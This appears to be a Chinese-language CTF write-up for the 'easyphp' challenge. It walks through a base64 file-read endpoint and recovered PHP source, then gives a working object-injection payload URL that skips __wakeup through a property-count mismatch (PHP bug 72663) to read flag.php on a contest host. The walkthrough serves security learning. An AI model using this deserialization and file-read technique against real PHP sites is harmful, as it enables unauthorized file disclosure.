网络内生安全试验场——CTF答题夺旗赛(第二季)

easyphp

Analyze

查看网页源码

<html>
    <head>
    </head>
    <body>
        <img src="show.php?img=aGludC5qcGc=" width="100%">
    </body>
</html>

访问页面时发现有一张图片,查看图片地址

http://120.55.43.255:13005/show.php?img=aGludC5qcGc=

aGludC5qcGc=base64解码得到hint.jpg,由此可以得知show.php是将参数img经base64解码得到的值进行读文件操作。

尝试使用

php://filter/read=convert.base64-encode/resource=index.php

base64解码值读取源码

http://120.55.43.255:13005/show.php?img=cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWluZGV4LnBocA==

返回"File not found!"。。。

Get Source

纠结了一下下,不知道是怎么回事,然后又尝试直接将index.phpbase64编码,可看到注释掉的php源码,居然成功了,看来是想复杂了。

上源码:

index.php

<?php 
  require_once('hint.php');
  $x = new hint();
  isset($_GET['class']) && $g = $_GET['class'];
  if (!empty($g)) {
    $x = unserialize($g);
    echo $x;
  }
?>

发现hint.php

<?php
  error_reporting(0);
  //flag is in flag.php
  class hint
  { 
    public $file='';
    function __destruct()
    { 
      if(!empty($this->file)) 
      {
       if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
          show_source(dirname (__FILE__).'/'.$this ->file);
       else      die('Wrong filename.');
      }
    }  
    function __wakeup(){ 
      $this-> file='index.php'; 
    } 
    public function __toString(){
      return '' ;
    }
  } 
?>

源码中的注释部分提示flag在flag.php中

想尝试用show.php直接读取flag.php,分析show.php:

<?php
  $f = $_GET['img'];
  if (!empty($f)) {
    $f = base64_decode($f);
    if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
    && stripos($f,'flag')===FALSE) {
      readfile($f);
    } else {
      echo "File not found!";
    }
  }
?>

发现flag被过滤了,而且/也被绕过了,这也是为什么之前使用php://filter出错的原因。

尝试绕过,不过过滤比较严格,绕过有点难度,转而分析其他两个文件。

Unserialize

涉及到**反序列化**:$x = unserialize($g);,发现在hint.php中

function __destruct()
{ 
  if(!empty($this->file)) 
  {
   if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
      show_source(dirname (__FILE__).'/'.$this ->file);
   else      die('Wrong filename.');
  }
}

存在文件读取,可以构造**Payload**使得$this-> file = "flag.php",由

<?php
  error_reporting(0);
    //flag is in flag.php
    class hint{ 
    public $file='';
    function __destruct(){ 
      if(!empty($this->file)) {
       if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
          show_source(dirname (__FILE__).'/'.$this ->file);
       else      die('Wrong filename.');
      }}  
    function __wakeup(){ $this-> file='index.php'; } 
    public function __toString(){return '' ;}
  } 
  $a = new hint();
  $a->file = "flag.php";
  echo serialize($a);

得到字符串 O:4:"hint":1:{s:4:"file";s:8:"flag.php";},但是这样并不能读取到flag.php文件,因为在序列化时,__wakeup()函数又会将"index.php"赋值给$this-> file.

这里涉及的另一个知识,是php本身的一个bug,详细信息可以查询php bug 72663,这个 bug 的原理是:当反序列化字符串中,表示**属性个数的值大于真实属性个数**时,会跳过__wakeup 函数的执行。

于是将hint值改为2

Payload:

http://120.55.43.255:13005/index.php?class=O:4:"hint":2:{s:4:"file";s:8:"flag.php";}